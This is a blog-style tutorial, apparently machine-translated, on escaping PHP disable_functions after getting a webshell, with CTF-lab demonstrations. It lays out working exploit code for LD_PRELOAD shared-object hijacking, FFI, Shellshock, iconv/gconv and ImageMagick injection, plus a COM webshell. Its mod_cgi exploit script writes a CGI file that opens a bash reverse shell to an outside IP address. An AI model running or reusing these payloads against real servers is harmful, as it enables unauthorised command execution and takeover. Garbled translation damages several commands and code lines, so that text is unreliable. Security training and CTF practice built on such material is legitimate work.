Briefly explain how to bypass PHP disable_function

Posted by chrima on Mon, 01 Nov 2021 09:30:01 +0100

preface

In the penetration test, sometimes the command cannot be executed after getting the webshell. In order to successfully raise the right, we need to bypass disable_function

disable_ Introduction to function

disable_ Functions is a setting option in php.ini. It can be used to set the PHP environment to prohibit the use of some functions. It is usually used by the website administrator to disable some dangerous command execution functions for security reasons. (eval is not a PHP function and cannot be disabled in disable_functions. To disable the extension Suhosin that requires PHP.)

Bypass method

1. Find functions that are not disabled

If the blacklist is bypassed, there will inevitably be missing functions. We can check the phpinfo file to see if there are dangerous functions that are not disabled

For example: dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link

2. Use LD_PRELOAD environment variable

brief introduction

Reference articles

LD_PRELOAD is an environment variable of Linux system. It can affect the Runtime linker of the program. It allows you to define the dynamic link library that is loaded first before the program runs. This function is mainly used to selectively load the same functions in different dynamic link libraries. Through this environment variable, we can load other dynamic link libraries between the main program and its dynamic link library, and even overwrite the normal function library. On the one hand, we can use our own or better functions with this function (without other people's source code), on the other hand, we can also inject programs into other people's programs to achieve specific purposes.

Method 1: Hijacking function

Generally speaking, the vulnerability is used to control the web to start a new process a.bin (even if the process name cannot be specified arbitrarily). The new process a.bin calls the system function b(). b() is located in the system shared object c.so. Therefore, the system loads the shared object c.so for the process and tries to give priority to loading controllable c.so before loading c.so_ evil.so,c_evil.so contains a malicious function with the same name as b(), because c_evil.so has a higher priority, so a.bin will call C_ b() in evil.so instead of b() in c.so of the system, and c_evil.so is controllable to achieve the purpose of executing malicious code.

Therefore, our breakthrough ideas are as follows

1.Find a function that can start a new process, such as mail()Function starts a new process /usr/sbin/sendmail

2.Write one that will be sendmail Invoked C Function (the function should preferably be without parameters). The internal code is malicious code and compiled as.so Documents, such as getuid()function

3.function PHP function putenv(),Set our so File as LD_PRELOAD,After setting, the new process will be preferentially loaded when it starts so file

4.function PHP of mail()Function, at this time sendmail Will call us to write getuid The function with the same name achieves the effect of hijacking and executing malicious code

First, check which functions sendmail will call. Here, we choose geteuid function or other functions to hijack
readelf -Ws /usr/sbin/sendmail
#readelf will only display the functions that sendmail may call. The specific functions to be called should be viewed using strace -f

When I was experimenting, I issued the command sendmail, so I downloaded it again under kali

apt install courier-mta
apt install dma
apt install esmtp-run
apt install exim4-daemon-heavy
apt install exim4-daemon-light
apt install msmtp-mta
apt install nullmailer
apt install opensmtpd
apt install postfix
apt install ssmtp

Then use the above command

Then write the C file. The purpose is not to display the files in the current directory

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls");
}   
int  geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

After writing the php file, set the environment variable and execute the mail function

<?php
putenv("LD_PRELOAD=/home/kali/Desktop/hack.so");#File location after compiling c file
mail("","","","");
?>

Compile the c file and execute the php file

gcc hack.c -o hack.so -shared -fPIC

Shit, the compilation failed. I haven't found the reason for it for a long time
. . . . Finally, a semicolon was added to the blank line where the error was reported. It was successful. I don't understand the reason. I hope the masters can answer it.

Then, we went on to execute a/php and found that the ls command was executed successfully

Preload shared objects

In practice, sendmail has not been installed or disabled on many machines, and it is impossible to change php.ini configuration and install sendmail software with normal www data permissions, so disable can be bypassed in another way_ function
The system passes LD_PRELOAD preloads the object. If it is loaded, it will be called directly without hijacking
gcc allows you to set the following properties for the function. You can make the modified function execute before the mail() function. If it appears in the shared object, it will be executed immediately once the shared object is loaded by the system

__attribute__((__constructor__))
//The constructor parameter allows the function to be modified by the __attribute__((constructor)) function before the system executes the main() function.

Here is the hack.c code

#include <stdlib.h>
#include <string.h>
__attribute__((constructor))void payload() {
unsetenv("LD_PRELOAD");
const char* cmd = getenv("CMD");//Receive incoming commands
system(cmd);//Execute command
}

Here is the php code

<?php
putenv("CMD=ls");#Command to execute
putenv("LD_PRELOAD=/home/kali/Desktop/hack.so");#File location after compiling c file
error_log("a",1);
?>

Compile the. c file and run it. The malicious command has been executed
gcc hack.c -o hack.so -shared -fPIC
The result is the same as above

Service conditions

linux system
putenv()
mail or error_log
The directory is writable, and the. so file needs to be uploaded

Example demonstration

LD_PRELOAD of web advanced Bypass disable_function in ctfhub

I know everything. I can't execute commands

First, upload the. So file and. php file [because the command cannot be executed under the shell, it will not be compiled under gcc, so upload the compiled. So file]
c document code

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
​
void payload() {
system("tec /flag > /var/www/html/flag.txt");
}   
​
int  geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

php file code

<?php
putenv("LD_PRELOAD=/var/www/html/hack.so");#
mail("","","","");
?>

Access the target url/test.php in the web browser. After refreshing the directory, it is not found that flag.txt appears. It is speculated that the mail function is disabled, and sendmail will call error_log to modify the PHP file.

<?php
putenv("LD_PRELOAD=/var/www/html/hack.so");
mail("","","","");
error_log("",1,"","");
?>

After the modification is executed, the php file appears

function

mail
Strace - f PHP ld_preload.php 2 > & 1 | grep execve # view the process created when the PHP file is executed
We can see that when the mail() function is called, a new process is created to call the system function / usr/sbin/sendmail

In fact, in addition to the first call to the PHP interpreter itself, it also calls / bin/sh, so you can hijack the system library functions called by / bin/sh

When sendmail is not installed on the target system, hijacking the library function of / bin/sh here is a breakthrough

Execve (executable file) fork a sub process in the parent process, calling the exec function in the sub process to start the new program. There are six exec functions, execve is the kernel level system call, the other (execl, execle, execlp, execv, execvp) are the library function execve() that calls execve. It is used to execute the file path represented by the parameter filename string. The second parameter is passed to the execution file by using the pointer array and needs to end with a null pointer (NULL). The last parameter is the new environment variable array passed to the execution file.

readelf -Ws /usr/sbin/sendmail # view the system library functions that / usr/sbin/sendmail may call
#readelf -Ws /bin/sh

error_log()
/ bin/sh, / usr/sbin/sendmail are also called, which is similar to mail()

mb_send_mail()
You need to install the mbstring module, which is similar to mail()

imap_mail()

In addition, the libvirt_connect() function of libvirt module and gnupg_init() function of gnupg module are basically used in the same way

Non hijacking function

__ attribute__ introduce
__ attribute__ You can set function attribute, variable attribute, and type attribute

__ attribute__ The syntax format is:__ attribute__ ((attribute list)) if the function is set to the constructor attribute, the function will be automatically executed before the main() function is executed

Similarly, if function is set to destructor property, it will be executed automatically after main() function is executed or exit() is called
Similar constructors and destructors

If it appears in the shared object, once the shared object is loaded by the system, the function decorated with attribute((constructor)) will be executed immediately. Therefore, there is no need to consider hijacking a function, as long as it can ld_preload and execute php to call the new process, which can hijack the shared object and bypass disable function

Simple exp:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void preload (void){
    unsetenv("LD_PRELOAD");
    system("whoami > /tmp/leon");
}

However, unseenv() may not be valid on Centos, because Centos also hook s unseenv() and starts other processes inside it, so it is too late to delete LD_PRELOAD is hijacked again, resulting in an infinite loop. You can use the global variable extern char** environ to delete it. In fact, unseenv() is the environment variable deletion function implemented by simply encapsulating environ
stay https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD/blob/master/bypass_disablefunc.c saw a tip:

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");
    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }
    // executive command
    system(cmdline);
}

Modify LD using for loop_ The first character of preload is changed to \ 0, which can automatically invalidate the original environment variables of the system

3. Use PHP7.4 FFI

Principle introduction
FFI (Foreign Function Interface), that is, external function interface, refers to the technology of calling code in another language in one language. The FFI extension of PHP is a technology that allows you to call C code in PHP. The use of FFI only needs two steps: Declaration and call

Service conditions

  • Linux operating system

  • PHP >= 7.4

  • FFI extension is enabled and ffi.enable=true

Declare FFI and use the System function of C language
$ffi = FFI::cdef("int system(char* command);");

Example demonstration

The title is taken from the advanced web bypass disable in ctfhub_ FFI extension of function

Command execution is still blocked
Upload exp

<?php
$ffi = FFI::cdef("int system(const char *command);");#Declare ffi and call the system function
$ffi->system("tac /flag > /tmp/111");#Execute the command in readflag to read the flag
echo file_get_contents("/tmp/111");
@unlink("/tmp/111");#Delete 111 files

Direct access to submit

4. Use shellshock(CVE-2014-6271)

Principle introduction

At present, the environment variables used by bash are called through the function name, which leads to the vulnerability. The problem is that after the environment variables defined at the beginning of "() {" are parsed into functions in the command ENV, bash execution does not exit, but continues to parse and execute shell commands. The core reason is that there are no strict boundaries in the input filtering and no legitimate parameter judgment.

The attacker only needs to write the malicious code into the environment variable, transfer it to the server, and trigger the server to run bash script

Service conditions

  • The target has a shellshock vulnerability

  • The version is PHP 5.0*

  • linux system

  • putenv() available

Example demonstration

The title is taken from Shellshock of the web advanced Bypass disable_function in ctfhub
Upload exp

<?php
putenv("PHP_flag=() { :; }; tac /flag >> /var/www/html/flag.txt");#Set the environment variable and input flag into flag.txt
error_log("",1,"","");

When I connected this level, I didn't succeed directly. I changed the encryption method to base64, and decryption succeeded
Get the flag after accessing exp

5. Using Apache Mod CGI

Principle introduction

CGI: CGI, the common gateway interface, is a Web server and external application (CGI program) Through CGI interface, the Web server can transfer the information submitted by the client to the CGI program on the server for processing, and finally return the results to the client. CGI is an executable program placed on the server. There is no specific language for CGI programming. CGI programming can be carried out in C language, linux shell,perl,vb, etc.

MOD_CGI: any file with MIME type application/x-httpd-cgi or processed by the CGI script processor will be treated as a CGI script and run by the server, and its output will be returned to the client. There are two ways to make the file a CGI script: one is that the file has an extension defined by the AddType instruction, and the other is that the file is located in the ScriptAlias directory

If you want to temporarily allow a directory to execute cgi programs and enable the server to resolve the custom suffix to cgi programs, you can use the htaccess file in the destination directory for configuration
Options +ExecCGI
AddHandler cgi-script .aaa
Then set the shell file ending in. aaa (shell.aaa)

#!/bin/bash
echo;whoami;uname -a

After uploading. htacess and shell files to the specified directory, you need to give the shell file execution permission. The following is the boss's exp

<?php
$cmd = "bash -i >& /dev/tcp/119.29.60.71/2333 0>&1"; //command to be executed    "nc -c '/bin/bash' 10.11.12.13 8888"
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked']))
{
@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
checkEnabled("Is writable",$writable,"Yes","No");
checkEnabled("htaccess working",$htaccess,"Yes","No");
if(!($modcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!"; //abort if not
}
else
{
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
}
}
?>

After uploading exp, a shell.puzzle file will be generated with the contents of

#!/bin/bash 
​
echo -ne "Content-Type: text/html\n\n" 
​
bash -i >& /dev/tcp/119.29.60.71/2333 0>&1

The conditions of use are

apache environment
mod_cgi is enabled
Allow. htaccess files, that is, in httpd.conf, note that the AllowOverride option is All, not none
Have permission to write. htaccess files

Example demonstration

The title is taken from Apache Mod CGI of web advanced Bypass disable_function in ctfhub

Use the tool given by ant sword to bypass. When the command window pops up, use tac /flag to read the flag
If you bypass manually, upload test.php online, as follows

<?php
$cmd = "tac /flag"; //command to be executed
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked']))
{
@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
checkEnabled("Is writable",$writable,"Yes","No");
checkEnabled("htaccess working",$htaccess,"Yes","No");
if(!($modcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!"; //abort if not
}
else
{
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
}
}
?>

After the browser accesses test.php, the. htacess and shell.puzzle files will appear to view the contents of the files

Options +ExecCGI
AddHandler cgi-script .dizzle
#!/bin/bash
echo -ne "Content-Type: text/html\n\n"
tac /flag

Visit shell.puzzle to get the flag

6. Using PHP FPM

Principle introduction
Before understanding FPM, you need to understand fast CGI
https://juejin.cn/post/6844903471976546311#heading-11

In the early days, webserver only handled static files such as html, but with the development of technology, dynamic languages such as php appeared. If webserver can't handle it, what should we do? Let the php interpreter handle it! It's good to let the php interpreter handle it, but how can the php interpreter communicate with webserver? In order to solve different language interpreters (such as php and python Interpreters) As long as you write programs according to cgi protocol, you can realize the communication between language interpreter and webwerver, such as php cgi program.

With cgi protocol, the problem of communication between php interpreter and web server is solved, and web server can finally deal with dynamic language.
However, every time the webserver receives a request, it will fork a cgi process, and then kill the process after the request is completed. In this way, 10000 requests need to fork and kill the PHP cgi process 10000 times. This is a waste of resources. Therefore, an improved version of cgi, fast cgi, appears. Fast cgi will not kill the process after each request is processed, but will keep the process to make it easier The process can process multiple requests at a time, so there is no need to fork one process at a time, which greatly improves the efficiency.

PHP FPM is PHP FastCGI process manager. PHP FPM is the implementation of FastCGI and provides the function of process management. Processes include master processes and worker processes. There is only one master process, which is responsible for listening to the port and receiving requests from the Web Server, while there are generally multiple worker processes (the specific number is configured according to the actual needs). A PHP interpreter is embedded in each process, which is the place where the PHP code is really executed.

Since FPM listens to port 9000 by default, we can bypass webserver and communicate directly with FPM by constructing fastcgi protocol
Service conditions

linux system

putenv()available

mail()or error_log()available

Example demonstration

The title is taken from the advanced web bypass disable in ctfhub_ PHP-FPM for function

You can make a breakthrough according to the plug-in of ant sword
FPM selection 127.0.0.1:9000


After the upload is successful, a. antproxy.php file will be generated in the folder
Then we connect to this file. The password is ant
After connecting, we can execute the corresponding command to read the flag

We can refer to the principle of plug-in
https://segmentfault.com/a/1190000038646341
Let's first look at the contents of the generated php file

?php
function get_client_header(){
$headers=array();
foreach($_SERVER as $k=>$v){
if(strpos($k,'HTTP_')===0){
$k=strtolower(preg_replace('/^HTTP/', '', $k));
$k=preg_replace_callback('/_w/','header_callback',$k);
$k=preg_replace('/^_/','',$k);
$k=str_replace('_','-',$k);
if($k=='Host') continue;
$headers[]="$k:$v";
}
}
return $headers;
}
function header_callback($str){
return strtoupper($str[0]);
}
function parseHeader($sResponse){
list($headerstr,$sResponse)=explode("
​
",$sResponse, 2);
$ret=array($headerstr,$sResponse);
if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
$ret=parseHeader($sResponse);
}
return $ret;
}
​
set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 60882;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";
​
if (!empty($_SERVER['QUERY_STRING'])){
$url .= "?".$_SERVER['QUERY_STRING'];
};
​
$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
return false;
}
​
$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {
$method = "POST";
$post_data = file_get_contents('php://input');
}
​
$out = $method." ".$url." HTTP/1.1rn";
$out .= "Host: ".$host.":".$port."rn";
if (!empty($_SERVER['CONTENT_TYPE'])) {
$out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."rn";
}
$out .= "Content-length:".strlen($post_data)."rn";
​
$out .= implode("rn",$headers);
$out .= "rnrn";
$out .= "".$post_data;
​
fputs($fp, $out);
​
$response = '';
while($row=fread($fp, 4096)){
$response .= $row;
}
fclose($fp);
$pos = strpos($response, "rnrn");
$response = substr($response, $pos+4);
echo $response; 
​


Core code:

$headers=get_client_header();
$host = "127.0.0.1";
$port = 60882;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";
​
if (!empty($_SERVER['QUERY_STRING'])){
$url .= "?".$_SERVER['QUERY_STRING'];
};
​
$fp = fsockopen($host, $port, $errno, $errstr, $timeout); 

You can see that it is communicating with port 60882. In fact, here, ant sword uses / bin/sh -c php -S 127.0.0.1:60082 -t /var/www/html to start a new PHP service, which is not applicable to php.ini, so there is no disable. When we observe its execution, we also find an so file in the tmp directory, So far, we have reason to infer that it modifies its extension to the extension library uploaded in the tmp directory by attacking PHP FPM. In fact, we can know from the source code of the plug-in that it is indeed true:

After the php server is started, our traffic will be forwarded to the php server without disabel through antproxy.php. At this time, bypass is successfully achieved.

7. Use iconv

Principle introduction

https://blog.csdn.net/qq_42303523/article/details/117911859

iconv is the name of a computer program and a set of application programming interfaces. iconv, as an application, adopts a command-line interface, which allows the conversion of a file with a specific encoding to another encoding.

We first upload a gconv moudles file to specify the. so file of our custom character set file, with the content of

module  Custom character set name (uppercase)//International.. /.. /.. /.. /.. /.. /.. /.. /.. / TMP / custom character set name (lower case) 2
module  INTERNAL    Custom character set name (uppercase)//.. /.. /.. /.. /.. /.. /.. /.. /.. / tmp / custom character set name (lower case) 2

Then write the. c file, which contains the command functions we want to execute, and package the file as a. so file

#include <stdio.h> 
#include <stdlib.h> 
​
void gconv() {}
​
void gconv_init() {  
system("Command you want to execute"); 
}

Then execute the shell command and upload the file to the same folder as the gconv modules file

gcc Source code file name.c -o Custom character set name.so -shared -fPIC

Write a. php file, upload the directory, and then access it

<?php    
putenv("GCONV_PATH=gconv-modules File directory");    
iconv("Custom character set name", "UTF-8", "whatever");

Service conditions

  • php has iconv related modules installed
  • Directory writable

Example demonstration

The title is taken from the advanced web bypass disable in ctfhub_ iconv of function

After the ant sword connects to the website, upload the gconv modules file to the / tmp directory

module  HACK//    INTERNAL    ../../../../../../../../tmp/hack    2
module  INTERNAL    HACK//    ../../../../../../../../tmp/hack    2

Write hack.c file

#include <stdio.h> 
#include <stdlib.h> 
​
void gconv() {} 
​
void gconv_init() {  
system("cat /flag > /tmp/flag"); 
}

Now kali compiles it in gcc and uploads the. so file to the / tmp directory
Finally, upload the flag.php file under / var/www/html

<?php 
putenv("GCONV_PATH=/tmp/");    
iconv("hack", "UTF-8", "whatever");

You can find the flag under / tmp

8. Use GC UAF / backtrace UAF / Jason serializer UAF

Principle introduction

GC UAF vulnerability exploits heap overflow in PHP garbage collector to bypass disable_functions and execute system commands.
The following url is the exp link

https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass

GC UAF vulnerability exploits heap overflow in PHP garbage collector to bypass disable_functions and execute system commands.

The Json Serializer UAF vulnerability exploits a heap overflow trigger in the json serializer to bypass disable_functions and execute system commands. Although there is no guarantee of success, it should be used fairly reliably on all server APIs.

To use exp, you only need to modify the commands in pwn

Service conditions

GC(UAF)
  • linux system
  • php7.0~7.3
Backtrace UAF
  • linux operating system
  • php version

7.1 - all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)

Example demonstration

The title is taken from the advanced web bypass disable in ctfhub_ GC UAF of function
Modify pwn in exp to access the file to get the flag
pwn("tac /flag");

9. Use imageMagick(CVE-2016-3714)

Principle introduction

ImageMagick is an open source image processing library, which supports PHP, Ruby, NodeJS, Python and other languages and is widely used. Many image processing plug-ins, including PHP imagick, Ruby rmagick, paperclip and NodeJS imagemagick, rely on it to run.

If you want to exploit the vulnerability, you only need to upload carefully crafted images. ImageMagick will automatically convert the image format and execute malicious code.
Vulnerability principle reference p God blog
https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html

ImageMagick has a function called delegate, which is used to call external lib to process files. The process of calling external lib is executed by using the system command of the system. Firstly, many placeholders are defined in the delegate.xml file, such as% i is the input file name and% l is the picture exif label information. In the subsequent command, some placeholders are spliced in it. The spliced command line is passed into the system function of the system, resulting in the execution of any command.

Service conditions

  • The target host has a vulnerable version of imagemagic (< = 3.3.0) installed
  • The PHP imagick extension is installed and enabled in php.ini
  • Write php to process image format files through new imagick objects
  • php >=5.4

Example demonstration

Using an existing docker demo

docker pull medicean/vulapps:i_imagemagick_1
docker run -d -p 8000:80 --name=i_imagemagick_1 medicean/vulapps:i_imagemagick_1

After opening the environment, access the phpinfo file and view disable_function, an unopened imagemagic service was found

According to the description of this shooting range, we perform
The convert /poc.png 1.png command will actually trigger the written command execution logic
View its poc as

push graphic-context
viewbox 0 0 640 480
fill 'url(https://evalbug.com/"|ls -la")'
pop graphic-context

The convert command is like this in linux: convert is a file system modification command in Windows. Convert converts the file allocation table (FAT) and FAT32 volumes to NTFS file system, while the existing files and folders are intact.

According to the principle of imagemagick, when processing poc.png, imagemagick will use the curl command to download it. This is the delegate of imagemagick to process images, where% o is the file name output by curl and% M is the remote URL path

<delegate decode="https" command=""curl" -s -k -o "%o" "https:%M""/>

The% M in command can be spliced with other instructions and executed on the command line. This vulnerability is also caused by the fact that the spliced command line is passed into the system function, and we only need to use backquotes (`) or closed double quotes to execute arbitrary commands. We use poc to execute commands

As shown in the figure, the command is executed successfully

10. Using windows com components

Principle introduction

COM component is a new software development technology developed by Microsoft for the software production of computer industry to be more in line with human behavior. It is composed of executable code published in the form of WIN32 dynamic link library (DLL) or executable file (EXE).
After loading this component, upload the utilization script that can execute system commands (it can be uploaded through the existing webshell or directly like the upload shell):

<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // Shell.Application can also generate a COM object
$exec = $wsh->exec("cmd /c ".$command); // Call object methods to execute commands
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

The disadvantage of this method is that the com component is loaded by default only in PHP version 5.4. If it is not version 5.4, it needs to be opened manually

Utilization conditions

  • php open COM service
  • windows system

Example demonstration

Set up a local environment and visit the phpinfo page

Upload script access

reference resources

https://clq0.top/bypass-disable_function-php/#reference
https://www.freebuf.com/articles/web/280446.html

Topics: PHP Cyber Security penetration test